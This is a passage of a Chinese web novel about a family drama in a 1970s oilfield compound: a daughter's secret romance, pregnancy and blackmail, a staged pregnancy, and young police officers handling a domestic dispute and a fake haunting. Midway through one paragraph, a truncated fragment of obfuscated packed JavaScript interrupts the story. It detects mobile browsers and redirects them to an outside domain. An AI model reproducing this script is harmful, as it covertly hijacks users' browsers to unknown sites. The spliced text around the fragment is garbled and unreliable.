这四楼说话,楼下的曹春草曹老太也是听得清清楚楚的,她是楼长,自然关心有谁夜不归宿,听到这里放下心,喊道:“行,我知道了。小行,你把梨汤给小楠放下,该休息了。明儿还得上班呢。” 他们谁也没想到,西河岸大队老裘家,已经闹翻了天! 话说裘老太一大早,吃完早饭,就骑着车子回西河岸接孙女去了。一路上,她想得可好了,把孙女接过来,就立马安排相亲,最次也得嫁给个油田的小领导,最少管一二十人的那种,把周知行那小子狠狠的压下去。 裘老太哼着歌儿,觉得她属实是楼里,乃至村里最潇洒的老太太了。瞧,她骑的可是自行车,刘大丫、曹春草她们行吗?也就是在家炒菜做饭的命。还得是她徐大妮,她可是风风火火帮衬儿子的能干老太太。 只是能干老太徐大妮刚到大儿子家,却不见裘盼儿的身影。裘老太停好车子,一把逮住喂鸡的大孙女裘生儿,问道:“盼儿呢?这么晚了,都快吃午饭了,怎么不在家?” 裘生儿是个十八岁的大姑娘,那次仙人跳没成,已经火速谈妥了婚事,准备秋收后就成亲的。她眼神儿闪烁,细看能发现里面是嫉妒到怨毒的目光,只是她很快低下头,又是一副瑟缩的小姑娘样儿,她说:“盼儿这一个月和......和知青院儿里的田知青打得火热,天天不着家。有时候......” 她抬抬眼皮儿,有点儿害怕的样子,小声道:“有时候晚上也不回来,不知道干什么去了。” 裘老太站立不稳,她脸发白,急急又问了一遍:“你说的田知青,是男的女的?” “男的。”裘生儿心里得意,面上仍是害怕的样子,“他......他经常来找盼儿,大队里可多人都看到了。” 裘老太简直觉得天都要塌了。她......她听到了什么?盼儿那丫头,不会做什么傻事吧? 她慌忙朝知青院跑去,得知两人去了山上,又踉跄着上了山,找了有一个小时,终于在一棵大树后,看到了抱着互啃的两人。 “啊啊啊” 裘老太崩溃大吼,这个裘盼儿,这个不要脸的女娃,把她的计划打乱了,全部打乱了啊。 她嗷嗷叫着,上去就给了两人一人一个大耳刮子,照着田家光的关键部位就踹了上去。要么说还得是老太太呢,见识广博,知道男人哪里最脆弱。 田家光当场倒地,蜷缩成一团,疼得叫都叫不出来,冷汗一层层地往下落。 裘盼儿都傻眼了,被奶奶看到,裘盼儿刚开始是害怕的。她一直是个听话的女孩子,从没做过什么逾矩的事。和田家光私定终身,算是她做过的最疯狂的一次了,她捂着被打肿的脸,不知所措。完全没料到,她奶如此凶残,奔着毁了田家光的方向去啊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580115|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她回顾神,一下子扑在田家光的身上,护住他道:“奶,你要是再打,我......我就喊人了。反正大家都知道我俩处对象,我才不怕被看到。” 得亏现在是大中午的,村里人家都在家做午饭呢,否则早就里三层外三层围起来看热闹了。裘老太被这句话气得不轻,又怕真的被人看到,到时候就没法收场了。 “你个胳膊肘往外拐的死丫头,你等着,先跟我回家,我去把你爹叫来,让你爹收拾你!” 裘老太双眼通红,又狠命抽了裘盼儿一个嘴巴子,拽住她的胳膊,二话不说就往山下走。 裘盼儿回头望向自己的爱人,田家光缓过劲儿,脸色苍白,双眼含泪,一副深情焦虑的样子,他喊道:“盼儿,你别急,我一定娶你。我爱你,什么都不能把我们分开,不能。” 裘盼儿擦擦眼泪,她......她已经是家光的人了,她不后悔。想起家光的话,她下定决心,并没有再反抗,跟着裘老太回了大伯家。 二人身后,田家光又缓了一会儿,才起身,嘴角微微翘起。忙活了近一个月,又是讨好又是疏离打压的,终于取得了实质性进展,不久,他就能结婚去油田,再也不干那些该死的农活儿了。 他捡起地上的背篓,高兴地哼起歌儿,旋即想到老太婆敢打他,他心里冷哼一声。等裘盼儿把她妈的工作要过来,他再哄着裘盼儿把工作给他。过两年,再让盼儿把她爹的工作也要过来,让那个老太婆什么也得不着! 他越想越得意,已经在想着几年后,如何暴打年老体弱的裘老太了。 丝毫不知,慌忙过来的裘向东和陶美玉,得知事情经过,恨不得把他田家光杀了。 裘向东本来还觉得这个女儿有点儿用处,起码长得不差,也能嫁个好人家,以后为弟弟做点儿贡献。人前,裘向东一向是极爱护这个女儿的,可她都干了什么?竟然和一个知青,一个已经成了泥腿子的知青私定终身! 别说跟姜楠比了,就连楼里最没用的吴春丽,她都比不上! 陶美玉更是觉得凄苦,她怎么就生了这么一个不懂事的丫头。她拽着女儿,哭着说:“盼儿啊,你可不能犯糊涂。那个田家光,就是想吃软饭啊。他是看中了你的条件,故意拉你下水的。走,跟娘回家,咱们去相亲,嫁个好人家。不然你这一辈子就完了。” “我不。”裘盼儿眼里有着戒备,她望着母亲,失望地说,“妈,你根本就不关心我,现在说这些有什么用。你整天就想着怎么生儿子,从来没管过我想干什么。” 她望向父亲,眼泪大滴大滴地往下流,她说:“爸,你从来都不喜欢我吧?你什么都跟姜叔叔比,姜叔叔疼姜楠,你也装着疼我。可姜叔叔是真心疼姜楠的,你呢?你在外人面前,比谁都通情达理,可在家里,你从不主动跟我说话,十天半个月的都不着家。你很失望我不是个儿子吧?母亲不能生,你比谁都急。你们都不在乎我,我干嘛还要给你们争气,干嘛还要为了让你们有面子,整天跟姜楠比来比去?” 她擦擦眼泪,看看父亲,又看看母亲,继续道:“你们都不喜欢我,只有家光,只有他对我好,他是真心爱我的,他不嫌弃我没哥哥弟弟,他还护着我。你们把我送乡下一个多月,想过我在大伯家过的是什么日子吗?” “盼儿!”裘老太大吼一声,都这时候了,死丫头还想往她大儿子身上泼脏水,她可是再也忍不下去了。 “小妹,你怎么能这么说话。”裘生儿期期艾艾地开口,“你在家什么活儿也不干,住了一个月,我们家说什么了?做人不能没良心......” “够了!”裘盼儿冷笑一声,嘲讽道,“收起你那副样子,你不是还想勾引家光?可惜啊,家光没看上你!就你这样儿的,还想嫁到油田,收起你的春秋大梦吧。” 她呸一声,再次望向父母,良久,她说:“爸,你在外面不干净吧?妈,你也知道吧?你们,可真是好笑,太好笑了。” 她又笑了一阵儿,终于决绝地说:“我怀孕了!你们既然疼我,就让我嫁给田家光。还有妈,你的工作让给我接班。” 她声音里带了几分狠厉:“不让我接班,我就举报我爸,说他在外面乱搞男女关系!” 52. 教训 谁也没想到,裘盼儿平地扔了这么一个大雷。 这些都是裘盼儿想到的吗?是,也不全是,她只是不经意间把家里的情况透露给了田家光,田家光一心想吃绝户的凤凰男,当然最了解男人。知道裘向东十天半月的不回家,当即就知道这里面有事儿。他暗示了几句,裘盼儿也不是傻子,自然听懂了。她是恋爱脑不假,但并不是说在其他地方就完全糊涂,她能考上高中,可见脑子也不差的。 裘盼儿本来还对父母有几分期待的,听完田家光的话,也完全死了心。她爸在外面有人,说不定儿子都有了,虽然现在还没登堂入室,但早晚有这么一天。她不早点下手,把属于她的东西要过来,日后可就什么也没了。 她是想通了,可裘家众人惊呆了。裘老太更是嗷一嗓子,一下一下地打着裘盼儿,骂道:“你个不知羞的女娃!你怎么能干出这种事,你爸对你还不够好?你身上这些新衣服,新鞋子,还有你能读到高中,哪一样不是靠你爸?你怎么能说出这种话?” 裘向东瞄了眼大哥一家,知道大哥肯定不清白。盼儿在老家住了一个月,如今都这样了,要不是裘老太突然回来,他们现在还蒙在鼓里呢。这要不是故意不给他通风报信,才有鬼了呢!这是上次仙人跳没成,憋着算计他呢吧。 他心内冷笑,先不急着跟大哥计较,反而冷冷扫了裘盼儿一眼,平静地说:“行啊,你想嫁那个软饭男是吧?爸成全你。想要你妈的工作,爸也答应。不过,你得从家里搬出去,我家不招赘,你以后就是田家的人了,跟我裘家没有关系,你想干什么我都不会管你的。” 裘盼儿愣了,她没想到她爸这么容易就答应了,心里慌了那么一下,不过她很快镇定下来,家光说了,她父母知道后肯定会有各种反应,断绝关系也是其中之一。她只要坚持,之后再慢慢给父母认错,总归是能和好的。她是父母明面上唯一的孩子,她爹就算在外面有人,也不敢拿到明面上,她就还有胜算。 而另一边,陶美玉闻言慌了,盼儿要是嫁出去,她就什么都没了,她一把抓住裘向东的胳膊,声音里带着凄楚,她说:“向东,你别生气,咱们再劝劝盼儿,盼儿一向懂事,她......” 谁也没想到,此时裘向东温柔地拍了下陶美玉的手,他柔声说:“美玉,别怕,我们会有儿子的。相信我,好吗?” “儿子?我们会有儿子?” 陶美玉眼神中有几分迷茫,裘家大嫂眼睛一下子亮了,她赶忙道:“对啊,美玉,你们可以过继我家小三子,他今年才十一,你们养上几年,等他十八了就能参加工作,到时候让他接小叔子的班,给你们养老......” 裘向东轻蔑地扫了大嫂一眼,直直望向大哥裘向南,他说:“大哥,刚才盼儿的话,你还是当没听到的好。否则你家老大他们招工能招进去,我就能让他们被开除,知道吗?” “知道,知道。”裘向南拽住媳妇儿,他算计了侄女儿,已经够了。这个小弟是个心眼儿多的,再做什么,他家得不了好。 裘老太又打了裘盼儿几下,要不是这个死丫头,老大他们两个怎么会闹矛盾,都怪她! 裘家人心思各异,闹到现在,时间也晚了,裘向东和陶美玉都没回去,暂时睡在裘老太的屋里。裘老太去和几个孙女挤了。 炕上,裘向东柔声劝说着陶美玉,声音里带着几分蛊惑人心的味道,他说:“美玉,你也看到了,盼儿是个靠不住的。她被那个知青迷惑,心里早没咱们两个了。咱俩还得为以后打算,我想的是,咱们从外面抱养一个孩子,当成儿子养怎么样?你工作给了盼儿,也有时间养孩子,你亲自养着,将来肯定跟你亲。” 陶美玉沉默良久,她抬起头,问:“抱......抱谁的孩子?你......” 裘向东愣了下,同床这么多年,知道瞒不过,他继续哄道:“你放心,就算......盼儿也是我的骨血,我不会不管她的,好不好?你就当多了一个儿子,咱们以后好好过日子,我以后再也不去那里了,好不好?我们把他当亲儿子养,当成你的儿子。你......你就假装怀孕,六个月后,我们就有一个儿子了,好不好?” 陶美玉:“你怎么确定是儿子?” 裘向东说了实话:“孩子刚出生,到时候假装成你在老家生的,咱们养上几个月再回去,没人会细究的。好不好?对外就说是你生的,楼里没人知道的。” 陶美玉想了这么多年儿子,黑狗血、童子尿都喝过,心底的执念已经深入骨髓。之前不是没想过抱养孩子,可她到底记挂女儿,想着大不了招赘。可如今盼儿明显被人蛊惑了,陶美玉正心思浮动,裘向东又在这里架火,她没犹豫多久,点头道:“行,听你的。明天我就假装怀孕。” 裘向东露出一抹笑容,没想到死丫头犯一次蠢,倒是省了他的事。要不然,陶美玉可不会这么轻易就吐口。 虽然少了一份工作,但油田马上要招工了,他的儿子,肯定能招进去。陶美玉的这个工作本来就是准备留给盼儿那丫头的,至于那个女人的女儿,又不是他裘向东的孩子,他才不管。 裘家上演着嫁人生儿子的大戏,却不知道另一边,家属院的公厕里,再一次出现了白色飘荡的‘鬼影’。 翌日一大早,家属院刚出来上班的众人,发现一号院公厕,又,又,又闹鬼了。 姜楠和周知行穿过激动报案的大爷大妈,再三保证一定会调查,这才满头大汗地挤出来。真是,太不容易了。 “老程头这是急啥?好不容易消停一个月,这是看总部的人走了,又作妖儿呢。”路上,周知行难得的吐槽。 “估计是程大柱最近花钱太多,老程头手头也有些紧了。再来就是现在家属院人多,公厕没那么安全了。”姜楠将从系统那里得知的结果,告诉了周知行。 周知行了然,程改改的事,两百块只是明面上换人的价钱,暗地里,程大柱可是想让程改改嫁到领导家的。最近可是花钱买了好几件衣服了,就等着下乡的事一过,马上安排相亲。 两人无奈,这个老程头,调查组一走就搞事儿,真是一刻也不能等啊。 到了派出所,两人将公厕又一次闹鬼的事儿告诉了温强和邹立。对于晚上下班了还要捉鬼,温强和邹立再没了上次的兴奋,双双哀嚎。上次可是蹲了三天,啥也没抓到。做了白工不说,还累个够呛,简直是得不偿失。 哀嚎也没用,四人很快开始一天的工作。 关顺走了,周知行第一天出任组长,还是很大方的,他一向手松,出外勤的时候还给大家一人买了一瓶北冰洋,算是正式上任的见面礼。 因着宣传组演讲了一个月,大家警惕心高涨,今天一早就接到好几个热心群众的报案,说是看到有人偷偷摸摸,像是要倒卖油田物资。第一个报案的,还是王自力、王更生两个小伙子呢。两个家伙像是铁了心要进派出所,每日在街上免费巡逻,目标就是再得一次表扬信。 可惜这次运气没那么好,人家大叔只是在偷摸观察‘未来女婿’,并不是对物资有什么想法。 案子处理的很快,毕竟是一次乌龙嘛,大叔和‘未来女婿’都是认识王自力、王更生哥俩的,教训一顿也就撂过手走了。 王自力:“那个,周警官,姜警官,我们走了哈,你们忙,我们以后一定摸清了再报案。绝不让你们白跑一趟。” 刚说完,就要拉着弟弟小跑离开。周知行眼疾手快地抓住人,开口道:“自立,更生,你们两个还小,看见可疑人员,一定不能鲁莽,知道吗?不能上去跟人对峙,有什么发现,尽管去派出所找我们,我们跑一趟没关系的,你们千万不能私自行动,知道吗?” 他也是知道两个小伙子的执念的,明白劝了也不听,只得让两人注意安全,抓坏人是他们警察的责任,可不能让自立、更生两人出事。 王自力、王更生哥俩挠挠头,嗯了一声,转身跑开了。 温强:“这哥俩,想当警察想疯了。” 他吐槽了一句,冲着两人的背影喊:“一定不能冲动,知道吗?不然可别怪我揍你俩的屁股!” 王自力、王更生捂着屁股,蹿得更快了。 周知行四人哈哈大笑着摇头,准备骑车离开,不成想一个妇女抱着孩子,呜呜呜地跑过来,边跑还边喊:“警察同志,警察同志,我要报案。我要举报我男人搞破鞋,他跟我妹妹搞在一起了啊,他们不要脸啊。” 后面紧追的白衬衫男人闻言脸色发白,他也顾不得大家刷刷刷望过来的眼神,赶紧说:“警察同志,你们别听她瞎说啊,我跟她妹妹是清清白白的,我们就是在屋里说话,她这是冤枉我们啊。警察同志,你们不要听她的一面之词,我是冤枉的。” 六组四人和听到声音嗖嗖嗖窜过来的路人:额,说这句话之前,先把衣服穿穿好,好吧?啧啧,衬衫一边儿塞进腰带里,一边儿露出来,傻子都知道刚才他干什么了啊。 周知行还想说话呢,后面又跑过来几个人,为首的是一对儿中年夫妻,后面跟着一个年轻的不慌不忙的女孩子,中年妇女边跑边高声嚷道:“你个不要脸的小娼妇胡说什么?!你就这么冤枉你妹妹,见不得你妹妹好?没良心啊,我把你养这么大,你就这么对我的?你妹妹和国强清清白白,你怎么能冤枉人!” 说着来到妇女身边,边打边跟警察说:“警察同志,这事儿是她胡说,我能作证,我女儿和国强是清白的。两人就在屋里说话,我和我男人都在外面呢,听得真真儿的,你们不要听她胡说八道。” “对对,我媳妇儿说的是真的,她那是诬告,你们把她抓起来,快把她抓起来。”中年男气喘吁吁地跑过来,脸色阴沉地瞪了一眼‘诬告’的女人。 周知行皱眉,严肃地开口:“是不是诬告我们会调查清楚的,你不要一上来就给人定罪。既然有人报案,我们是一定要调查的,你们稍安勿躁。” 后面跟过来的人群里,有人小声嘀咕:“这不是亲生的就是没感情,张嘴就要警察抓人啊。啧啧。” 周知行看了说话的人一眼,望向姜楠,说:“姜楠,你去问下那个妇女,到底是怎么回事儿。” 姜楠点点头,知道这种家庭纠纷最难处理,她深吸一口气,来到女人身边,说:“你好,我是姜楠,是油田派出所的民警。请你说下事情进过,我们也好调查,好吗?” 女人眼睛红通通的,抱着孩子点点头,开口道:“我叫王美杏,就住在玻璃钢那一片。我上午带着孩子去买菜,没想到回来就看到我男人和美琳那个死丫头睡在一起啊,他俩这么做对得起我吗?我可是给他们老孙家生了一个儿子的,他孙国强怎么敢这么对我?还有美琳那个死丫头,她是我带大的啊,她怎么能这么不要脸。” “呸。”被称作美琳的年轻女人昂着头,一副瞧不起人的样子,“你不要冤枉人好不好,你看看,这里五个当事人,只有你一个人说看到了我和国强哥睡觉,其他人可都没看见。你这是诬告。我告诉你,诬告是要负法律责任的,哼,我是高中生,我可是很懂的。” 姜楠抬眼看了看王美琳,长得倒是不错,只是脸上的刻薄相真是藏都藏不住,她问道:“你高中毕业,有工作吗?是不是要下乡?” 王美琳脸色有些僵,她强撑着说:“我......我没工作又怎么样?我能力强,很快就会有工作的,我才不会下乡。” 姜楠点头,明白了这个女人的谋算,她问王美杏道:“你丈夫是做什么工作的?” 王美杏还没回答,旁边时刻关注的孙国强抢先开口:“同志,我是供销社的副主任,你看,我是正经人,绝不会跟小姨子有一腿的。警察同志,您看,我能跟我媳妇儿说几句话吗?她现在神志不清,我得安慰安慰她。” 姜楠眼睛一瞪,就要拒绝,被邹立一把拉住。 邹立冲着男人点点头,说:“你去吧,不要太久,我们还要问话呢。” 见两人在角落里嘀嘀咕咕,邹立小声道:“小楠,这个案子治不了罪的,抓奸没有当场按住,当事人不承认,咱们也没办法。而且你看,那个王美杏大上午的去买菜,一看就没有工作,她还有个孩子,看着还不到两岁,要是她男人进去了,孩子怎么办?你看吧,一会儿她就会改口的,你别管了,为了孩子,也不能把那个孙国强关进去。” 姜楠无奈地点点头,果然,王美杏将儿子递给孙国强抱着,低头过来轻声道:“警察同志,我......我一时 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周知行安慰道:“好了,王美杏闹这一场,其实也有好处,起码以后她丈夫不会再这么明目张胆了。她养父养母也不敢做的太过,她的日子会好过不少。” “你的意思是,她故意闹开的?”姜楠有些难以置信。 周知行耸耸肩:“谁知道呢,不过她改口改得太快了,一点儿挣扎也没有,而且她有好处啊,你就别替她担心了。” “那好吧。”姜楠点点头,觉得她还是把人想单纯了,不过她突然握紧拳头,坚定地说,“总有一天,我们女人会站起来,才不会忍气吞声。哼。” 其他三个男人对视一眼,温强和邹立同情地拍拍周知行的肩膀,不约而同道:“受苦了,组长。” 周知行笑眯眯,嘚瑟道:“姜楠可是很好的,你们就不要挑拨我俩的关系了。” 他笑容十分灿烂,说:“中午了,走,吃饭去。今儿温强他爸做了红烧肉,可好吃了。” 姜楠眼睛一亮,放射出喜悦的光,她喜滋滋地跟温强确认:“真的有红烧肉?” 见温强点头,姜楠立刻狠镫了两下自行车:“冲啊,红烧肉。” 嗯,美食治愈一切,如果没有,那就再吃一顿。 四人忙活了一上午,一顿操作猛如虎,低头一看,却只处理了两个小案子。不过不管了,吃饭最重要。 果然,去食堂打饭,跟着温强,不颠勺! 温母是个有些富态的中年妇人,笑起来很和气,见四人打饭,给面子的盛了满满一勺红烧肉,看得五组众人艳羡不已。 想到昨晚的计划,周知行不动声色地带领三人坐在万翔旁边。 是的,万翔因为人缘儿不好,在组里可都是一个人吃饭的。派出所都是血性男女,才不来拍马屁那一套,你万翔的大哥再能耐,手也插不进派出所。他们正式工,怕啥!反正就是不理,孤立,咋滴吧? 万翔气哼哼地吃着午饭,都是一群没脑子的,他才懒得生气。看见一旁的周知行,他哼一声,想坐远一点儿,突然听到什么“纺织厂”、“保卫科”,他屁股又坐下了,细细地听了起来。 六组四人坐下后,姜楠无意间问起:“邹哥,嫂子最近怎么样?啥时候生?” 邹立结婚不算早,毕竟读过大学,毕业后两年才通过相亲认识了如今的媳妇儿罗敏娟,结婚三年罗敏娟才怀孕,那是怎么宝贝都不为过的。可以说,罗敏娟如今是邹家当之无愧的宝贝疙瘩,听说邹立父母差点儿让儿媳妇辞职,专心养胎。不过罗敏娟也是读过高中的,在油田有正式工作,哪里肯听。仍是怀着孕坚持上班,如今九个月,眼瞅着快生了。 “快了,嘿嘿。”提到孩子,邹立高兴地眼睛都眯起来了,大口地吃着肉。 “邹哥,你想要儿子还是女儿?”姜楠问。 “肯定是儿子,谁不想要儿子?”温强是个说话不过脑子的,当着姜楠的面就嚷起来。 姜楠翻个白眼儿:“强子哥,我还在呢。” “嘿嘿,那啥,你问周知行,他是不是想要儿子?这男人,谁不想要儿子,是吧,周组长,小眼镜?”温强嘿嘿傻笑两声,小眼睛求助地望向另外两人。 周知行立刻表明立场:“我可是儿子女儿都一样。我这人,是极其反对重男轻女的。伟人都说了,妇女能顶半边天,是吧?咱得听伟人的话。” 邹立也赶忙说:“对,我也觉得儿女都一样,儿女双全才好呢。我可不挑这个。” 姜楠哼一声:“这还差不多。那邹哥,小衣服、尿布什么的,你们都准备好了嘛?要是不够,可以去市里的纺织厂看看,听说那里有布头卖,缝起来做个尿戒子不成问题的。” “知道,我爸妈都准备了好多。”邹立喝了一口汤,回道。 “哎,说起纺织厂,你们知道吗?”周知行压低声音,小声道,“听说那边保卫科的副科长调走了,也不知道会提拔新人,还是从外面再空降一个副科长。” “我也听说了。”温强小声道,“我们楼上有人嫁到了纺织厂那边,昨儿还回娘家传消息呢。” 你瞧,这种消息,根本就瞒不住。周知行说起这个,太正常了。 “咋,周组长,你这刚当上组长,就想着去厂子里当副科长了?”姜楠调侃。 “那我这是没门路,我要是有门路,肯定去啊。”周知行说,“纺织厂可也不算是小厂子了,能有一千多人了吧,保卫科少说也有二十人,这副科长可是管着十好几号人呢,官儿也不算小了。可惜啊,咱没门路。” 周知行叹口气,余光瞥见万翔若有所思的神情,知道这小子听进去了,转移话题道:“不说这个了,咱们还是说说晚上公厕捉鬼的事儿。邹立,你在家照顾嫂子,就不用过来了。还有强子,你家离得远,也不用来了,我跟小楠两个人就够了。” 捉鬼这个事儿吧,真是毫无技术含量,也就是大晚上蹲守,准备抓现行。没有温强和邹立两人,姜楠和周知行也能妥妥的完成任务。 只是万万没想到,这次捉到的鬼,竟然是万翔! 这可真是,背锅都有人上赶着,老程头真该给万翔发一面锦旗,感谢万翔这种大公无私的精神。 53. 抓鬼 事情还要从万翔偷听说起。 他听了周知行的话,已经打定主意要调去纺织厂,做这个副科长了。哼,到时候他管着十好几号人,可是比什么小组长威风多了。 只是,临走之前,怎么都得给周知行这家伙一点儿厉害瞧瞧。 敢抢他万翔的位置,也得看他有没有那个能耐坐得住。听到一号院公厕闹鬼,他可不就有了鬼主意嘛。正好借着闹鬼的名头吓一吓人,真是上天都在帮他。 万翔得意地瞥了六组的人一眼,哼着歌儿离开了。姜楠和周知行无语,这人也太好骗了吧?也不想想,两人是那么随意就提起闹鬼的人嘛,那还不是觉得他万翔没安好心,给他一个整人的思路,到时候他们再将计就计,岂不是神不知鬼不觉? 只是太顺利了,让姜楠都有点儿同情万翔了。这智商,也确实不适合在派出所呆着。 四人继续吃午饭,姜楠很给温强面子:“温叔叔这红烧肉做的,跟国营饭店比,都不差的。” “那是。”温强很是骄傲,“我爸就是不放心我,才特意调来派出所的,不然也是国营饭店的大厨。” 另一头的家属院里,裘盼儿跟着父母回家,路过供销社,陶美玉还进去买了糖。 裘盼儿心内得意,觉得田家光说得果然没错,只要她坚持,没有父母拧得过儿女的。这不,下午她们就要去幼儿园,她要接母亲陶美玉的班,有一个正式工作了。 “美玉,你们昨儿咋没回来?”楼下,刘老太如今不用做饭,正在树下乘凉呢,一眼就看到了裘家一家三口。嗯,裘老太因为觉得丢人,气坏了,今天没回来。 “昨儿晚了,就没回。大娘,您吃糖。”陶美玉声音柔柔的,有几分方阿婆的风采,不过方阿婆是装的,陶美玉是真的说话就这样,她说,“过几天我家盼儿摆酒,请您吃喜糖。” “啥?!”刘老太声音都劈叉了,她尖叫道,“你家盼儿啥时候谈对象了?这就要摆酒了?” “那个,在老家大队里认识的。”陶美玉呵呵笑了两声,没说太多,继续给众人散糖。裘向东则冲着众人点点头,很快一个人上了楼。 裘盼儿浑身带着喜气,曹老太不愧是警察家属,她有些不放心地问:“盼儿还不到年龄吧?美玉,你可不能犯糊涂。” 她也听到点儿风声,西河岸大队那边,估计家家户户都会出一个石油工人,盼儿住了一个月,找一个‘未来工人’她能理解,可裘盼儿还不到年龄,不能领证的。 “瞧您这话说的,曹大妈。”陶美玉笑容淡了几分,她说,“农村都这样,先摆酒,后领证,都是一样的。咱虽然到了油田,可也不能忘本。我家盼儿虽然不到年龄,可也不小了,你家周知行还要和小楠定亲呢,我们也只是先摆酒而已,都一样。” 曹老太可不觉得一样,不过陶美玉显然没再给曹老太说话的机会,她散完糖,拉着裘盼儿回了家。三人草草吃了一顿午饭,下午母女二人就去了幼儿园,办理交接手续。 时间还是很快的,六组众人结束一天的工作,各自回了家。 两人回到家属院,一个多月了,姜楠第一次见到裘盼儿。不得不说,心里还是很震惊的。她没想到,仅仅一个月,裘盼儿就被凤凰男套牢了。 裘盼儿是专门在楼下等姜楠的,她有了田家光,就想看看姜楠的男人长什么样。在裘盼儿的心底,她是期望着周知行不如田家光的。就算长得不差,也肯定没有家光对她好。 不过看两人一齐推着车子,有说有笑地回来,裘盼儿心底又泛起了酸。 凭什么姜楠要这么幸福,她应该嫉妒自己的啊。自己运气这么好,找到了家光,她怎么可能不嫉妒?对,肯定嫉妒的,她肯定嫉妒的。 姜楠这个男人肯定不爱她,肯定是想吃绝户。对,等着,等着看姜楠被吃干抹净,被扫地出门。一定会的。 裘盼儿恶毒地看了姜楠一眼,重重地哼一声,转身上了楼。 “这是那个裘盼儿?”周知行还是第一次见到这个‘潜在凶手’,不得不说,心里还是有些同情的。 吴春丽被母亲坑,孙巧莲被儿子坑,裘盼儿呢,更是父母不喜,被凤凰男套牢。这几个人,各有各的不幸,就是不知道,十年后,彻底黑化的,会是哪一个。 “对,她要结婚了。”姜楠小声道,“她怀孕了。” “那个凤凰男,真是够无耻的。”周知行皱眉,心里觉得哪里不对,他问,“她家不是招赘?” 姜楠愣了下,点头道:“不是,是嫁女儿。怎么了,哪里不对吗?” 周知行摇摇头:“说不好,再看看。概率没变吗?” “没有。”姜楠又看了一下系统,确认道。 两人没有头绪,也就不再纠结这个。主线任务还有十年,他们还有时间。 “小楠,你们今晚捉鬼吧?”这是后边那几个住平房的,他们家里没厕所,晚上都得到公厕解决,可是最关心这个的。见两人下班回家,小跑过来询问。 “抓,你们放心吧。”姜楠锁上车子,笑着回答大爷大妈的疑问。 又被围着说了会儿话,两人拎着菜回家。今日值班,他们下班早,早早去了供销社买菜,准备做饭来着。 姜楠不常做饭,但也是会的。毕竟上辈子独自在魔都生活那么多年,多少还是会一些的。况且晚饭嘛,清淡一些,又不用多复杂,她就准备做一个黄瓜拌皮蛋,一份清炒空心菜,再熬上大米粥,齐活儿。 清炒空心菜还是周知行的手艺呢,四人这不是要商量晚上捉鬼的大戏,准备一起吃个饭嘛。 虽然就两个菜,可把下班回家的姜满城感动坏了:“还得是我闺女,知道心疼人。瞧这菜炒的,好吃!我闺女就是心灵手巧,机灵懂事。” 姜楠昂着头:“我就是这样的啊。” 陈金花也附和:“对,闺女这都是天生的,就是这么好。” 姜楠乐:“对的呀。” 陈金花也跟着乐,她是半点儿不会做饭的,别看外人都在说姜满城吃软饭,可自家人知道自家事,陈金花其实很多事,都是听姜满城的。两人感情好得很,姜满城不在乎那些流言,可陈金花却为男人不值。她太知道了,满城懂得比她多多了,才没有吃软饭。 可牵扯到闺女,陈金花又有些双标,她私底下其实是希望周知行真的吃软饭,啥都听她闺女的。可也知道这不可能。不过周知行也会做饭,炒菜还很有一手,她就不担心闺女会吃亏了。 陈金花吃着饭,心思已经飘到了大西洋。 “姜叔,您要喜欢就多吃点儿。”周知行脸皮厚,全当是在夸他,全程乐呵呵的,又很有眼力见儿地给未来丈母娘夹菜,“陈姨,您多吃点儿。小楠说你最爱吃炒空心菜了,您尝尝我做的怎么样,合不合您的胃口。” 陈金花乐得咯咯笑,看得姜满城气哼哼找茬:“这空心菜都老了,菜叶子也不鲜嫩,跟我炒的差远了,是吧,金花?” 陈金花笑容微僵,要出口的夸奖,堵在了嗓子口。她看看自家男人,欲言又止。这她听过婆婆拿捏儿媳的,还没见过老丈人不满女婿的。 啥,你说陈万里和姜满城?那不是陈万里就那个脾气嘛,她这个做女儿的,都得哄着他呢。 周知行可是全然没当一回事儿的,跟姜家人接触这么久,他自然知道姜叔的性格。上辈子他没感受过亲情,身为侯门庶子,姨娘只把他当做固宠的工具,父亲连看都不多看他一眼。可来到这里之后,见到姜叔和陈姨对姜楠的宠爱,才知道正常的家庭关系是这样儿的。 他可是第一时间就出手,加入了这个家。 如今温水煮青蛙,你看看,不是渐渐也融入了嘛。他可是觉得自己明智极了。 姜楠可不知道周知行在洋洋得意,还帮着解围:“好了,爸,咱们说说晚上捉鬼的事儿吧。张大爷他们都大张旗鼓地找我和周知行捉鬼了,估计老程头晚上也不会出来了......” “那是自然,他能偷那么多家都安然无恙,贼着呢。”姜满城放过周知行,四人开始讨论晚上的捉鬼大计。 晚饭后,各家各户又开始忙着洗碗、消食。在老丈人家吃饭,碗当然是周知行洗,他还是很识时务的,嗯,就是这么俊杰。 快到十点钟了,四人才下楼,姜满城手里还拎着一个小包袱,今晚,姜满城和陈金花决定以其人之道还治其人之身,给万翔点儿颜色瞧瞧。 至于姜楠和周知行,咳咳,两人如今是警察,可不能搞这些封建迷信。 姜满城和陈金花也不急着变装,而是和姜楠、周知行一起,守在小树林里。等万翔到了再行动,也省得吓到其他人。 之所以选择小树林,一来是因为这里容易隐蔽,二来,小树林虽然离公厕有些距离,但也不算远,能够看清楚公厕的情况。 只是四人没想到,他们刚进小树林,就惊到了两对儿野鸳鸯,和一个来听墙角的老吴头。 对,两对儿,还有老吴头,分布在小树林两头。不知道是不行还是时间太短,反正彼此都没听到动静,也是很神奇了。 先说第一对,正是范桃花和程大柱。这不是范桃花的闺女吴春丽要代程改改下乡,范桃花将事情办妥了,如今来找程大柱要另一部分钱嘛。 老情人见面,除了要钱,当然还有别的事儿要忙活。 两人在这里也有一会儿了,范桃花整理着衣服,接过另外的五十块钱,眉眼含春地嗔了程大柱一眼,笑着说:“还是大柱你敞亮。” 她将钱塞进裤兜里,伸出手,轻轻在程大柱胸前摩挲:“怎么这么久都不来找我?” 程大柱抓住作乱的手,他此时没有调笑的心思,他说:“好了,事情办好,这一段时间,咱们还是先避避嫌,你别来找我了。” “死鬼。”范桃花跺跺脚,嗔怪道,“你这是过河拆桥啊。怎么,怕我用这个拿捏你?” 